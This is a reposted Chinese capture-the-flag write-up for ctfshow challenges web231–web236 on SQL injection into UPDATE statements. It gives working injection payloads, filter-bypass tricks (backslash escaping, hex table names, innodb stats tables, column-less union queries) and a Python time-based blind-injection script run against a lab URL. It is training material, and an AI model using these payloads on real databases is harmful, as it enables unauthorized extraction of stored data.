ctfshow-web入门-sql注入(web231-web236)update 注入

news2024/9/22 11:31:55

目录

1、web231

2、web232

3、web233

4、web234

5、web235

6、web236


1、web231

拼接的是 update 语句 

//分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

password 和 username 可控,注入地方还是在 api 接口下,请求方式为 post

先是在 password 的位置闭合前面单引号,注释后面单引号,尝试查数据库名:

password=database()',username=111#&username=222

unicode 解码是更新成功的意思:

刷新 update.php 页面:

发现密码被设置成了 database(),用户名被设置成了 111,我们前面语句中的 username=222 是传给 where 后的 username 的,前面的 username=111 是给到 set 语句,由于密码里的 database() 没有回显出数据库名,那么我们尝试插到用户名的位置:

password=111',username=database()#&username=222

刷新页面,回显成功:

拿到数据库名为 ctfshow_web

接下来就可以继续查表名了:

password=111',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=222

注意其中 select 查询语句整体要使用括号包裹起来

拿到表名:banlist,ctfshow_user,flaga

我们查 flaga 表下的列名:

password=111',username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flaga')#&username=222

拿到列名:id,flagas,info

查字段 flagas 的具体信息:

password=111',username=(select flagas from flaga)#&username=222

get flag:ctfshow{80d31d0b-efe8-4acd-9541-c73efa84d7d4}

2、web232

  //分页查询
  $sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

 新增 md5 加密,我们对 md5 这个函数的括号进行闭合即可:

password=111'),username=database()#&username=222

数据库名还是 ctfshow_web,后面的密码是我们输入的 111 经过 md5 加密后的内容 

查表名:

password=111'),username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=222

banlist,ctfshow_user,flagaa 

查 flagaa  表下的列名:

password=111'),username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flagaa')#&username=222

id,flagass,info 

查 flagass 的信息:

password=111'),username=(select flagass from flagaa)#&username=222

拿到 flag:ctfshow{5d22a4bd-0a84-48e0-a447-0564861c1552} 

3、web233

查询语句和 web231 一样,说是没有过滤,但是用前面的 payload 打不通

查询失败 

测试了一下发现 username 存在注入点

password=111&username=1'or sleep(3)#

但是 sleep 时间太长了 

我们改小一点,sleep(0.1) 即可实现 2s 以上的延时,完全够了

写个盲注脚本试试,数据库名就不跑了,直接跑表名:

payload = {'password': '1','username': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)#"}

拿到表名:flag233333

跑这个表下的所有列名:

payload = {'password': '1','username': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'), {j}, 1) = '{k}',sleep(0.1),0)#"}

有一个叫 flagass233 的东西,那就是它了。

跑具体字段信息:

payload = {'password': '1', 'username': f"0'or if(substr((select group_concat(flagass233) from flag233333), {j}, 1) = '{k}',sleep(0.1),0)#"}

拿到 flag:ctfshow{358cedf9-bdbe-49c6-a609-2a2b25df682e}

附上勇师傅的完整脚本:

# @author:Myon
# @time:20240823
import requests
import string

url = 'http://202073c0-c44d-4aee-adb7-20e2a7222d78.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'password': '1','username': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 猜表名
        # payload = {'password': '1','username': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 猜列名
        payload = {'password': '1', 'username': f"0'or if(substr((select group_concat(flagass233) from flag233333), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

由于这次的注入点在第二个参数,where 后面出来的内容我们根本就看不到,没有回显,这也是为什么我们前面要采用盲注,而 update.php 的回显是根据 set 那里出来的,那么如何让注入跑到第一个参数那里去呢?

password=\&username=,username=database()#

看原始的 sql 语句:

set pass = '{$password}' where username = '{$username}';

拼接后:

set pass = '\' where username = ',username=database()#';

第二个单引号被转义了,也就是说 pass 被设置成了 ' where username = 

而 set 的 username 为 database()

刷新查看 update.php,数据库名回显成功:

在这个思路上就可以继续查表名了:

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#

查列名:

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flag233333')#

查字段信息:

password=\&username=,username=(select flagass233 from flag233333)#

4、web234

查询语句看着和前面没什么区别

但是加上单引号和不加单引号回显结果不一样,应该是过滤掉了单引号

但是上一题转义的方法可用,查表:

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

flag23a

查列名:

注意我们的 payload 里面不能出现单引号否则会查询失败,采用十六进制绕过

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167323361)#

或者你不指定表名:

只是查出的结果多些而已

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database())#

拿到字段名 flagass23s3

查字段信息:

password=\&username=,username=(select flagass23s3 from flag23a)#

拿到 flag:ctfshow{cc5cf077-d799-46be-a0c1-ab8e0aa251ab}

5、web235

新增过滤 or '

password=\&username=,username=database()#

查库名还是可以的 

但是在查表名的时候就不行了

看了 wp 说是 or 被过滤导致 information_schema 库不能使用,但是我并不理解为什么 or 被过滤会影响到 information_schema 库的使用,有知道的师傅吗,可以解释下。

使用 mysql.innodb_table_stats 和 mysql.innodb_index_stats 代替,它们是 MySQL 内部的系统表,用于存储 InnoDB 引擎相关的统计信息,内容与 information_schema.tables 类似,也可以用来获取数据库中的库名和表名,这两个表都包含了 database_name 和 table_name 字段。

查表名:

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

拿到表名:flag23a1

但是 mysql.innodb_table_stats 和 mysql.innodb_index_stats 下不包含列名信息,这里需要采用无列名注入:

password=\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flag23a1) as a)#

内层:(select 1,2,3 union select * from flag23a1) as a 会生成了一个临时表,由 select 1, 2, 3 创建的三列数据和 select * from flag23a1 得到的 flag23a1 表中的所有列拼接形成,别名 a 用于引用该临时表。

外层:select group_concat(`2`) from... 会将结果集中所有第二列的数据连接起来,查询返回表 flag23a1 中第二列的数据连接值。

拿到 flag:ctfshow{c55a9d76-33b4-4793-ad63-e3efd7324ba0}

如果反引号被过滤了,可以继续采用 as 起别名:

其实 as 是可以省略的,只是为了增强可读性我们一般不省略。

password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flag23a1) as a)#

也是可行的 

6、web236

新增过滤 flag,实际测试发现并没影响,不懂。

查表:

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

banlist,ctfshow_user,flaga

查 flag:

password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flaga)a)#

拿到 flag:ctfshow{5f27d65e-fc8b-48be-b35a-f9dc6c221ede}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2069803.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

laravel发送邮件的使用方法?有哪些技巧?

laravel发送邮件怎么实现?如何使用Laravel发送邮件? Laravel,作为一个流行的PHP框架,提供了强大且灵活的邮件发送功能,使得开发者可以轻松地集成邮件服务到他们的应用中。AokSend将详细介绍如何在Laravel中使用larave…

conda虚拟环境中安装cuda和cudnn

目录 一、cuda安装步骤 1)cuda的安装 1、查看conda支持的cuda版本 2、下载cuda并安装cuda 2)cudnn的安装 1、查看cuda对应的cudnn版本 2、下载cudnn并安装 二、torch的安装和tensorflow的安装 1)安装tensorflow 1、确定安装版本并安…

Java入门:06.Java中的方法--进阶02.03

2 可变参数 方法调用时, 传递的实参数量,是由被调用方法的参数列表数列决定的。 一般来讲,传递的实参数量必须与形参变量数量相同,但是也有一种特殊的参数,允许调用时传递的实参数量是可变,这种参数就称为…

《黑神话·悟空》游戏开发教程来了,全部开源。。。

黑神话悟空游戏,官网说明使用UE5引擎开发. 这篇文章发一个UE5游戏开发的系统教程。 1 开发悟空游戏的UE5 UE5,即 Unreal Engine 5,是由 Epic Games 开发的一款高度先进的游戏引擎。 UE5 是 Unreal Engine 系列的最新版本,它提供…

Qt第十八章 XML和Json格式解析

文章目录 JSON格式解析Json生成案例 XML简介与HTML的区别格式XML解析流的方式DOM XML生成 JSON与XML的区别比较 JSON 格式 JSON是一个标记符的序列。这套标记符包含六个构造字符、字符串、数字和三个字面名 六个构造字符 开始和结束数组:[ ]开始和结束对象&#x…

应用商场的搭建

前言: 使用mysql做主从设置,redis数据库做热门访问数据库。mycat读写分离,zookeeperkafka做数据收集,使用三台虚拟机 关掉防火墙和selinux,做时间同步 192.168.121.11 node1 mycat.example.com 192.168.121.21 node2 …

提高LabVIEW电机控制速度

在LabVIEW中执行绝对位移命令时,其运行时间主要与以下电机参数有关: 电机加速度和减速度: 加速度和减速度参数决定了电机从静止到达到目标速度,以及从高速到停止的时间。这些参数直接影响电机响应的迅速程度。如果加速度和减速度设…

如何使用ssm实现基于bs模式的医院在线挂号预约系统的设计与实现

TOC ssm072基于bs模式的医院在线挂号预约系统的设计与实现jsp 第1章 绪论 1.1 课题背景 互联网发展至今,无论是其理论还是技术都已经成熟,而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播,搭配信息管理工具可以很好地为人…

B/S架构和C/S架构的区别

B/S架构、C/S架构区别 1. B/S架构 1.1 什么是B/S架构 B/S架构的全称为Browser/Server,即浏览器/服务器结构。Browser指的是Web浏览器,极少数事务逻辑在前端实现,但主要事务逻辑在服务器端实现。B/S架构的系统无须特别安装,只需要…

实战OpenCV之绘制图形

基础入门 OpenCV除了用于图像显示之外,还提供了一系列接口和工具,以帮助开发者在图像上绘制各种图形。这里的图形包括:直线、矩形、圆形、椭圆、多边形等。另外,OpenCV还支持在图像上添加文字,对多张图像进行叠加操作。…

NACOS 2.4.1如何开启账号密码登录功能

Nacos Server 2.4.0+已正式发布取消管理员用户 nacos 的默认密码支持初始化指定密码。 本章教程,主要介绍如何给nacos加上鉴权,支持通过用户名和密码的方式进行访问nacos页面。 NACOS 2.4.1版本下载地址:https://github.com/alibaba/nacos/releases/tag/2.4.1 1、开启认证功…

驱动:insmod

一、驱动模块的加载 1. 静态 编译进内核2. 动态 编译成模块 如下: 解决方法 结果 led电灯例子 创建一个led.c 修改Makefile、Kconfigmake modulescp drivers/char/led.ko /home/linux/nfs/rootfs开发板 insmod led.ko去 /home/linux/nfs/rootfs 上 写程序.carm-l…

每日掌握一个科研绘图|区域图·24-08-23

小罗碎碎念 为了方便大家获取对应的代码和源数据,从本期推文开始,我将把对应的文件上传至Github仓库,感兴趣的同学自行获取。 仓库地址 https://github.com/Lxltxpku/Share 一、区域图 区域图是一种数据可视化工具,它通过在坐标…

嵌入式人工智能ESP32(7-OLED显示中英文)

1、OLED显示英文 我们之前通过树莓派开发板做过OLED显示,这里就不再赘述OLED显示屏了。直接上接线图与代码。 (1)Adafruit Adafruit是一家成立于2005年的私营企业,主要业务是设计和制造开源电子硬件。Adafruit在美国设计和制造其…

全栈杂谈第一期:什么是计算机中的并发

什么是计算机中的并发 计算机中的“并发”是一个听起来很复杂的词汇,但我们可以把它简单理解为“同时做很多事情”。想象一下你正在做晚饭:你可以在等水烧开的时候切菜,还可以在等待炖汤时洗碗。尽管你只有一双手,但通过合理安排…

芋道cloud v2.2.0发布,支持模块选配,丢弃简易版

大家知道,芋道cloud拥有商城、CRM、ERP、微信相关等模块,很显然我们在日常开发中不可能一个项目同时拥有这么多模块。但是从gitee上获取代码的时候,只提供了简易版和完整版。简易版本只有最基础的功能,如果想要微信相关的模块&…

浅谈Llama3.1,从结构、训练过程、影响到数据合成

Llama3.1系列模型的开源,真让大模型格局大震,指标上堪比最好的闭源模型比如GPT 4o和Claude3.5,让开源追赶闭源成为现实。 这里给大家分享一篇俊林兄(知乎张俊林)的一篇解读,主要对LLaMA3.1的模型结构、训练…

RM双轴云台控制

RM机器人上最复杂的控制计构就是双轴云台了,赛场上的情况对双轴云台的控制稳定度与响应灵敏度双方面都提出了很高的要求,云台控制的好坏在一定程度上就能够代表一支队伍的实力。 双轴云台采用的控制算法依然是PID控制算法,关于PID控制算法的…

自动操作一键数据恢复/电子取证

对磁盘模拟扫描修复丢失数据的实验。 先挂载题目磁盘VHD。 Windows系统中打开磁盘管理,-操作,-附加VHD 可以看到已经加载出题目磁盘,接下来打开RStudio数据恢复软件,对其进行扫描。 操作找回丢失/被删除的数据 可以看到已经加载出…

Java入门:06.Java中的方法--进阶04

4方法递归 简而言之就是方法的自身调用。 也可以是方法组自身的调用 递归类似循环,可以实现功能的反复执行。在某些(算法)环境下,比使用循环更轻松。 递归的本质就是方法的不同调用,就会不同的产生栈帧压栈,栈空间有限&#xff…